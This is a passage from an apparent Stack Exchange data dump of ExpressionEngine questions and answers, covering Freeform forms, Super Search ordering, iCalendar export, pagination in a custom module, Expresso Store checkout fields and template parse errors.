&amp;lt;label for=&quot;email&quot;&amp;gt;e-mail*&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; id=&quot;email&quot; value=&quot;&quot;  /&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div&amp;gt;&#xA;                            &amp;lt;label for=&quot;user_message&quot;&amp;gt;Note*&amp;lt;/label&amp;gt;&#xA;                            &amp;lt;textarea name=&quot;user_message&quot; id=&quot;user_message&quot; &amp;gt;&amp;lt;/textarea&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div&amp;gt;&#xA;                            &amp;lt;div class=&quot;sendButton&quot;&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Send&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:freeform:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Rendered HTML ;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;form&quot; class=&quot;section bg-grey&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;inner&quot;&amp;gt;&#xA;            &amp;lt;h2 class=&quot;heading size-2 weight-700 all-caps centered-text&quot;&amp;gt;&amp;lt;i class=&quot;icon icon-icon-circle ico-element&quot;&amp;gt;&amp;lt;/i&amp;gt;enrol&amp;lt;i class=&quot;icon icon-icon-circle ico-element&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;div class=&quot;box-form clearfix&quot;&amp;gt;&#xA;                &amp;lt;form action=&quot;http://dev.projectu-turn.com/?ACT=29&quot; accept-charset=&quot;utf-8&quot; method=&quot;post&quot;&amp;gt;&amp;lt;div style=&quot;display:none&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;params_id&quot; value=&quot;218&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;3a54070ec93939a2610d11a31e867ce6c289e539&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;input type=&quot;hidden&quot; name=&quot;subject&quot; value=&quot;Contact from Nunc website.&quot;&amp;gt;&#xA;                            &amp;lt;div&amp;gt;&#xA;                                &amp;lt;label for=&quot;first_name&quot;&amp;gt;Name*&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;input minlength=&quot;2&quot; type=&quot;text&quot; name=&quot;first_name&quot; id=&quot;first_name&quot; value=&quot;&quot; /&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div&amp;gt;&#xA;                                &amp;lt;label for=&quot;email&quot;&amp;gt;e-mail*&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; id=&quot;email&quot; value=&quot;&quot;  /&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div&amp;gt;&#xA;                                &amp;lt;label for=&quot;user_message&quot;&amp;gt;Note*&amp;lt;/label&amp;gt;&#xA;                                &amp;lt;textarea name=&quot;user_message&quot; id=&quot;user_message&quot; &amp;gt;&amp;lt;/textarea&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div&amp;gt;&#xA;                                &amp;lt;div class=&quot;sendButton&quot;&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Send&quot; /&amp;gt;&amp;lt;/div&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/form&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1659" LastEditorUserId="1659" LastEditDate="2015-08-16T10:33:42.250" LastActivityDate="2016-05-28T13:11:22.577" Title="Freeform: not recieving any submissions" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32673" PostTypeId="2" ParentId="32671" CreationDate="2015-08-14T15:10:47.933" Score="1" Body="&lt;p&gt;Ehhh I struggled with this one an a previous project. If I remember correctly, there were a few options to do what you're looking for. First of all, these solutions came through Solspace Super Search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First example is a little weird, but it's because I needed to create functionality that allowed people to search by dates in a various forms (like search for &quot;September 1st&quot; with no year, or &quot;4/15/1880&quot;). In your example, you could basically do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:super_search:results&#xA;    paginate=&quot;bottom&quot;&#xA;    {!-- other parameters --} &#xA;    limit=&quot;10&quot;&#xA;    orderby=&quot;event_year|event_month|event_day&quot;&#xA;    sort=&quot;asc|asc|asc&quot;&#xA;    relevance=&quot;title=5+body=5&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://solspace.com/docs/super_search/results/#orderby&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/docs/super_search/results/#orderby&lt;/a&gt;&#xA;&lt;a href=&quot;https://solspace.com/docs/super_search/results/#relevance&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/docs/super_search/results/#relevance&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the docs, it sorts by &lt;code&gt;relevance&lt;/code&gt; first, and then when you have results with the same relevance, it orders by the &lt;code&gt;orderby&lt;/code&gt; parameter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure you can just leave the &lt;code&gt;orderby&lt;/code&gt; parameter blank, and it defaults to sorting by &lt;code&gt;entry_date&lt;/code&gt;. So, set your relevance, and it'll order by &lt;code&gt;entry_date&lt;/code&gt; after that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're worried, force set like this (assuming ascending date order for equally relevant results):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    orderby=&quot;entry_date&quot;&#xA;    sort=&quot;asc&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-08-14T15:10:47.933" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32675" PostTypeId="1" CreationDate="2015-08-14T18:18:01.777" Score="1" ViewCount="49" Body="&lt;p&gt;Is there a way to only add the next occurrence of an event to iCal using the icalendar tag?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see the previous answers on how to do this with other calendar tags (cal, etc.), but I would appreciate any help specifically for an .ics file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&#xA;Misha&lt;/p&gt;&#xA;" OwnerUserId="6569" LastActivityDate="2015-12-14T14:24:04.907" Title="Solspace iCalendar: how to download only one (e.g. next) occurrence of an event?" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32676" PostTypeId="1" CreationDate="2015-08-14T20:13:36.673" Score="1" ViewCount="48" Body="&lt;p&gt;I need to create links to display job listings by 1) job type (a channel field) &lt;strong&gt;or&lt;/strong&gt; 2) salary range (also a channel field). The salaries are single integers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also need to display the search above the results, for example, &quot;Listings: Executive Jobs,&quot; or Listings: $75k to $85k Jobs.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've struggled with this all day and can't find a solution. :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this something that can be done natively within EE or do I need something like Low Search?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated, thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Vn1Oj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vn1Oj.png&quot; alt=&quot;A visual that explains it all&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2139" LastActivityDate="2015-08-16T05:28:46.310" Title="How can I create a link to display entries filtered by a channel field?" Tags="|search|filter|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32677" PostTypeId="1" CreationDate="2015-08-14T23:15:37.870" Score="0" ViewCount="29" Body="&lt;p&gt;EE2.9.2, Low Nice Date 2.2.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Main template:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:zoo_visitor:details}&#xA;{embed=&quot;applications/_author-application-list&quot;&#xA;    memberDob=&quot;{cf_stual_date_of_birth timezone='Europe/London'}&quot;&#xA;    courseStartDateUnix=&quot;{exp:low_variables:single var=&quot;lv_course_start_ba_mt&quot; format='%U'}&quot;&#xA;    minimumAge=&quot;{lv_course_min_age_ba_mt}&quot;&#xA;    }&#xA;{/exp:zoo_visitor:details}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{cf_stual_date_of_birth} is a DropDate custom field - Value: 5th March 1998&#xA;{lv_course_start_ba_mt} is a Low variable Time Date field - Value: 30th September 2015&#xA;{lv_course_min_age_ba_mt} is a Low variable text field - Value: 21&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using an embed for other reasons. I've stripped lots of stuff out for this example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Embedded Template: applications/_author_application_list&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_nice_date:range from=&quot;{embed:memberDob}&quot; to=&quot;{embed:courseStartDateUnix}&quot;}&#xA;    &amp;lt;p&amp;gt;{years} / {embed:minimumAge}&amp;lt;/p&amp;gt;&#xA;    {if &quot;{years}&quot; &amp;gt;= &quot;{embed:minimumAge}&quot;}&#xA;        &amp;lt;p&amp;gt;YES&amp;lt;/p&amp;gt;&#xA;    {if:else}&#xA;        &amp;lt;p&amp;gt;NO&amp;lt;/p&amp;gt;&#xA;    {/if}&#xA;{/exp:low_nice_date:range}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This returns:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;17 / 21&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;YES&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it seems like the embed variables are working as the to and from values in the Low Nice Date tag but not in the conditional. Should this work? Is this a parse order issue? Any idea for a workaround?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using the CC Time Difference add-on as well but I ran into some other issues with that. This is the closest I've got to a working solution.&lt;/p&gt;&#xA;" OwnerUserId="151" LastActivityDate="2016-05-20T01:48:58.213" Title="Embed variable as from or to date. Should this work" Tags="|low|low-nice-date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32678" PostTypeId="2" ParentId="32675" CreationDate="2015-08-15T01:01:16.337" Score="1" Body="&lt;p&gt;If you mean how to do this using &lt;code&gt;{exp:calendar:icalendar}{/exp:calendar:icalendar}&lt;/code&gt; (&lt;a href=&quot;https://solspace.com/docs/calendar/icalendar/&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/docs/calendar/icalendar/&lt;/a&gt;), unfortunately it's not possible. You can go as far as limiting export to a single event entry, but that will bring in all the info about the event, including its occurrences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest submitting this as a Feature Request under the specific add-on category at &lt;a href=&quot;http://support.solspace.com/support/discussions&quot; rel=&quot;nofollow&quot;&gt;http://support.solspace.com/support/discussions&lt;/a&gt;. It'll also give other users the option to vote up the feature request, and help us prioritize features to add in upcoming versions of this add-on.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-08-15T01:01:16.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32680" PostTypeId="2" ParentId="32676" CreationDate="2015-08-16T05:28:46.310" Score="1" Body="&lt;p&gt;You can use &lt;code&gt;search:field_name&lt;/code&gt; parameter to filter the entries. For job type, &lt;code&gt;search:job_type=&quot;=[JOB TYPE]&quot;&lt;/code&gt; for exact match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For salary range, its needed if its numeric field so that you can use parameter like &lt;code&gt;search:numeric_field=&quot;&amp;gt;=20&quot;&lt;/code&gt; and &lt;code&gt;search:numeric_field=&quot;&amp;lt;=20&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#search-field-name&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt; here.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2015-08-16T05:28:46.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32681" PostTypeId="1" CreationDate="2015-08-16T08:25:48.643" Score="2" ViewCount="121" Body="&lt;p&gt;I'm new to EE and I'm having problems using the Pagination Class. I've created a custom module and have the following method in my mod file. The pagination is rendering on the template fine and the URLs look fine (mydomain/series/pagination_test/P24) but the results are not changing as I navigate the pagination.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function pagination_test() {&#xA;&#xA;    $this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('pagination');&#xA;    $pagination = $this-&amp;gt;EE-&amp;gt;pagination-&amp;gt;create();&#xA;    $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata = $pagination-&amp;gt;prepare(ee()-&amp;gt;TMPL-&amp;gt;tagdata);&#xA;    $tagdata = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata;&#xA;    $results = $this-&amp;gt;EE-&amp;gt;gt_model-&amp;gt;pagination_test_data();&#xA;&#xA;    foreach($results as $row)&#xA;    {&#xA;        $variables[] = array(&#xA;          'alt_title' =&amp;gt; $row['alt_title']&#xA;          );&#xA;    }&#xA;&#xA;    if ($pagination-&amp;gt;paginate === TRUE)&#xA;    {&#xA;        $total_items = count($results);&#xA;        $per_page = ee()-&amp;gt;TMPL-&amp;gt;fetch_param('limit');&#xA;        $status = $pagination-&amp;gt;build($total_items, $per_page);&#xA;    }&#xA;&#xA;    $this-&amp;gt;return_data = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables( $tagdata, $variables );&#xA;    $this-&amp;gt;return_data = $pagination-&amp;gt;render($this-&amp;gt;return_data);&#xA;&#xA;    return $this-&amp;gt;return_data;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6572" LastActivityDate="2016-05-26T01:16:37.033" Title="Pagination Class in Third Party Module" Tags="|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32682" PostTypeId="2" ParentId="32562" CreationDate="2015-08-16T15:18:10.007" Score="0" Body="&lt;p&gt;Not at a computer but it sounds like you are missing the JavaScript file needed to make it work. Use Show-EE submit form as an example.&lt;/p&gt;&#xA;" OwnerUserId="6573" LastActivityDate="2015-08-16T15:18:10.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32683" PostTypeId="1" CreationDate="2015-08-16T16:47:59.823" Score="0" ViewCount="201" Body="&lt;p&gt;I'm a newbie to EE so be gentle. I'm looking for a cart addon.&#xA;Cart must be easy to make PCI DSS compliant, must have selectable product options and oddly, must be able to sell even if stock is zero (third party will fullfill the orders and we don't have their stock levels but they're on the ball so they tell us). Also cart must have import products facility/functionality. If not would it be simple to write my own using PHP or should I not mess with DB directly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can Expresso do all this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6574" LastEditorUserId="6574" LastEditDate="2015-08-18T23:58:58.233" LastActivityDate="2019-07-31T21:00:50.103" Title="Can Expresso do these things?" Tags="|expresso-store|ee|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32684" PostTypeId="2" ParentId="32677" CreationDate="2015-08-16T18:09:33.383" Score="0" Body="&lt;p&gt;It was a parse order issue and switching on &lt;strong&gt;Early Parsing&lt;/strong&gt; in Low Variables for &lt;strong&gt;{lv_course_min_age_ba_mt}&lt;/strong&gt; has fixed it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Woot!&lt;/p&gt;&#xA;" OwnerUserId="151" LastActivityDate="2015-08-16T18:09:33.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32688" PostTypeId="1" CreationDate="2015-08-16T19:09:08.080" Score="0" ViewCount="106" Body="&lt;p&gt;I'm about to run out screaming! I have a news/index template and news/article that views fine until I add a third segment eg: news/article/test.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only channel entry that appears on the news/article/test page is the info wrapped in the news channel entry tags.  All other channel entry tags do not any longer appear.  I have a few other channel entries on the page but they are gone just on the &quot;test&quot; page.  Below is the part of the template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries channel=&quot;site_layout_options&quot; limit=&quot;1&quot;}&#xA;      {news_page_layout_options}        &#xA;      &amp;lt;div class=&quot;{newsFluid} section&quot;&amp;gt;&#xA;      {/news_page_layout_options}&#xA;    {/exp:channel:entries}&#xA;&#xA;      &amp;lt;div class=&quot;row two-col-row&quot;&amp;gt;&#xA;&#xA;               &amp;lt;div class=&quot;col-sm-10 entry-wrapper items-container&quot;&amp;gt;&#xA;                  {exp:channel:entries channel=&quot;news&quot; limit=&quot;1&quot;}&#xA;                  &amp;lt;div class=&quot;{layout} news-col entry-container&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;item&quot;&amp;gt;&#xA;                       &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;                       &amp;lt;p&amp;gt;{article_content}&amp;lt;/p&amp;gt;&#xA;                       &amp;lt;a href=&quot;/news/{segment_2}/{url_title}&quot;&amp;gt;&amp;lt;button class=&quot;btn btn-md btn-transparent-black&quot;&amp;gt;READ MORE&amp;lt;/button&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                 &amp;lt;/div&amp;gt;&#xA;                 {/exp:channel:entries}&#xA;               &amp;lt;/div&amp;gt;&#xA;&#xA;               &amp;lt;div class=&quot;col-sm-2 items-container&quot;&amp;gt;&#xA;                  &amp;lt;div class=&quot;col-sm-12 news-col item&quot;&amp;gt;&#xA;                       &amp;lt;h2&amp;gt;Archieves&amp;lt;/h2&amp;gt;&#xA;                       &amp;lt;p&amp;gt;{date}&amp;lt;/p&amp;gt;&#xA;                  &amp;lt;/div&amp;gt;&#xA;               &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first channel entry for &quot;site_layout_options&quot; is left out.  This goes for any other channel entry on the page with the exception of the &quot;news&quot; channel entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using channel fields to control some styling and thought that it may be causing some problems but not luck.  I removed it and anything that is outside of the &quot;news&quot; channel is gone.  The strange thing is that it only happens when I view the &quot;news/article/test&quot; page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the following opening channel tag on the &quot;news/index&quot; page to link to the full article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:channel:entries channel=&quot;news&quot; limit=&quot;6&quot; dynamic=&quot;no&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the link is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{url_title_path='news/article'}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried dynamic=&quot;off&quot; and a few different url options with no luck.&lt;/p&gt;&#xA;" OwnerUserId="6535" LastEditorUserId="6535" LastEditDate="2015-08-16T19:53:52.500" LastActivityDate="2015-08-16T19:53:52.500" Title="Channel Entries not showing when viewing the entries detail page" Tags="|channel-entries|channel|multiple-channels|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32690" PostTypeId="2" ParentId="32681" CreationDate="2015-08-16T21:48:38.237" Score="1" Body="&lt;p&gt;The step you're missing is actually filtering your query/dataset by the &lt;code&gt;offset&lt;/code&gt; generated by the Pagination class. (Usually this is used inside a database query, but you can also just use it to slice your array.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($pagination-&amp;gt;paginate === TRUE)&#xA;{&#xA;    $total_items = count($results);&#xA;    $per_page = ee()-&amp;gt;TMPL-&amp;gt;fetch_param('limit');&#xA;    $pagination-&amp;gt;build($total_items, $per_page);&#xA;&#xA;    // The important bit&#xA;    $variables = array_slice($variables, $pagination-&amp;gt;offset, $per_page);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-08-16T21:48:38.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32691" PostTypeId="1" AcceptedAnswerId="32692" CreationDate="2015-08-16T21:53:24.297" Score="1" ViewCount="48" Body="&lt;p&gt;My site does not have any items that will be shipped. I have no shipping methods set up. I have no shipping fields present in the checkout. The orders won't submit, and the error messages I'm getting all say &quot;Shipping First Name Required.The Shipping Address 1 field is required.&#xA;The Shipping City field is required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's my fatal flaw?&lt;/p&gt;&#xA;" OwnerUserId="1803" LastActivityDate="2015-08-17T07:44:26.067" Title="Expresso Store Shipping Required?" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32692" PostTypeId="2" ParentId="32691" CreationDate="2015-08-17T00:04:32.623" Score="0" Body="&lt;p&gt;Store does not require shipping details to complete checkout.&lt;/p&gt;&#xA;&lt;p&gt;It is hard to say for sure without seeing your template code but you will want to look at your checkout templates and make sure that you don't have &lt;code&gt;required=&amp;quot;name|address1&amp;quot;&lt;/code&gt; and any additional fields that are returning required. Using the shorthand &amp;quot;name&amp;quot; instead of &amp;quot;billing_name&amp;quot;  would require both shipping and billing names be filled out. The &lt;a href=&quot;https://www.exp-resso.com/docs/checkout_tag.html#require_fields&quot; rel=&quot;nofollow noreferrer&quot;&gt;docs&lt;/a&gt; have more details on required fields.&lt;/p&gt;&#xA;&lt;p&gt;You might also check in your Store &amp;gt; Settings &amp;gt; General that you have the&#xA;Default Shipping Address set to none and not &amp;quot;Billing same as Shipping Address&amp;quot;&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2015-08-17T07:44:26.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32694" PostTypeId="1" AcceptedAnswerId="32699" CreationDate="2015-08-17T11:07:07.910" Score="0" ViewCount="40" Body="&lt;p&gt;It seems that if a user enters a comma in the quantity field (as in 2,000) the system ignores the figures after the comma and will add just the amount before the comma (ie '2').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to prevent this happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(version 2.4.1)&lt;/p&gt;&#xA;" OwnerUserId="2024" LastActivityDate="2015-08-19T18:11:33.570" Title="Expresso-store - Comma in quantity field" Tags="|expresso-store|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32695" PostTypeId="1" AcceptedAnswerId="32720" CreationDate="2015-08-17T11:25:35.123" Score="0" ViewCount="95" Body="&lt;p&gt;I have a site using EE 2.5.2.  When logged in as a super admin, on some accounts we get the following error when clicking on a link in one section of the site:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Parse error: syntax error, unexpected T_ENDIF in /var/www/html/system_giy/expressionengine/libraries/Functions.php(680) : eval()'d code on line 692&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This only happens on some Super Admin accounts. Other super admin accounts work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update with code block from template. &lt;code&gt;&amp;lt;div class=&quot;grid_12&quot;&amp;gt;&#xA;  &amp;lt;section class=&quot;light_brown_flat&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;{if '{exp:stash:get name='is_editor'}' == 1}grid_8 omega{if:else}grid_11{/if}&quot;&amp;gt;&#xA;      &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt; {exp:switchee variable=&quot;{group_status}&quot; parse=&quot;inward&quot;} {case value=&quot;Public&quot;} {exp:stash:get name='meetings'}&#xA;      &amp;lt;p class=&quot;summary&quot;&amp;gt;{imported_description}&amp;lt;/p&amp;gt; {if group_champion}&#xA;      &amp;lt;h3&amp;gt;Group Contact(s)&amp;lt;/h3&amp;gt;&#xA;      &amp;lt;p&amp;gt;{group_champion}&amp;lt;/p&amp;gt;&#xA;      &amp;lt;p&amp;gt;{group_champion_phone}&amp;lt;/p&amp;gt;&#xA;      &amp;lt;p&amp;gt;{group_champion_email}&amp;lt;/p&amp;gt; {/if} {group_documents} {if row_count == '1'}&#xA;      &amp;lt;div id=&quot;documents&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;Public Documents&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;          &amp;lt;li&amp;gt;&amp;lt;i class=&quot;foundicon-inbox&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;a href=&quot;{doc_file}&quot;&amp;gt;{doc_title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; {if:else}&#xA;          &amp;lt;li&amp;gt;&amp;lt;i class=&quot;foundicon-inbox&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;a href=&quot;{doc_file}&quot;&amp;gt;{doc_title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; {/if} {if row_count == total_rows} &amp;lt;/ul&amp;gt;&#xA;      &amp;lt;/div&amp;gt; {/if} {/group_documents} {/case} {case value=&quot;Private&quot;} {if &quot;{exp:stash:get name='is_member'}&quot; == 1} {exp:stash:get name='meetings'}&#xA;      &amp;lt;p class=&quot;summary&quot;&amp;gt;{imported_description}&amp;lt;/p&amp;gt; {group_documents} {if row_count == '1'}&#xA;      &amp;lt;div id=&quot;documents&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;Public Documents&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;          &amp;lt;li&amp;gt;&amp;lt;i class=&quot;foundicon-inbox&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;a href=&quot;{doc_file}&quot;&amp;gt;{doc_title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; {if:else}&#xA;          &amp;lt;li&amp;gt;&amp;lt;i class=&quot;foundicon-inbox&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;a href=&quot;{doc_file}&quot;&amp;gt;{doc_title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; {/if} {if row_count == total_rows} &amp;lt;/ul&amp;gt;&#xA;      &amp;lt;/div&amp;gt; {/if} {/group_documents} {if:else}&#xA;      &amp;lt;p&amp;gt;This group is private. You must be a member of the group to see information on it.&amp;lt;/p&amp;gt; {/if} {/case} {/exp:switchee} {if &quot;{exp:stash:get name='is_editor'}&quot; == 1} {exp:channel:entries channel=&quot;giy_documents&quot; entry_id='9385' dynamic='no' disable=&quot;categories|category_fields|member_data|pagination&quot;}&#xA;      {if count =='1'}&#xA;      &amp;lt;div id=&quot;admin_documents&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;Featured Admin Documents&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;ul&amp;gt; {/if} {documents_files}&#xA;          &amp;lt;li&amp;gt;&amp;lt;i class=&quot;foundicon-inbox&quot;&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;a href=&quot;{document_file}&quot;&amp;gt;{document_caption}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt; {/documents_files} {if count == total_results} &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;a href=&quot;/{segment_1}/admin_documents/{segment_3}&quot;&amp;gt;All Documents&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;      &amp;lt;/div&amp;gt; {/if} {/exp:channel:entries} {/if} &amp;lt;/div&amp;gt; {if &quot;{exp:stash:get name='is_editor'}&quot; == 1}&#xA;    &amp;lt;div class=&quot;grid_4 omega&quot;&amp;gt; {exp:channel:entries channel=&quot;announcements&quot; sort='desc'dynamic='no' disable=&quot;categories|category_fields|member_data|pagination&quot;} {if count =='1'}&#xA;      &amp;lt;div id=&quot;announcements&quot;&amp;gt;&#xA;        &amp;lt;h3&amp;gt;Announcements&amp;lt;/h3&amp;gt; {/if}&#xA;        &amp;lt;article&amp;gt;&#xA;          &amp;lt;h4&amp;gt;{title}&amp;lt;/h4&amp;gt; {exp:trunchtml chars=&quot;120&quot; inline=&quot;...&quot; }&#xA;          &amp;lt;span&amp;gt;{exp:strip_html}{announcement_text}{/exp:strip_html}&amp;lt;/span&amp;gt; {/exp:trunchtml} &amp;lt;a class=&quot;read_more&quot; href=&quot;#&quot; data-reveal-id=&quot;announcement{count}&quot;&amp;gt;Read More&amp;lt;/a&amp;gt; 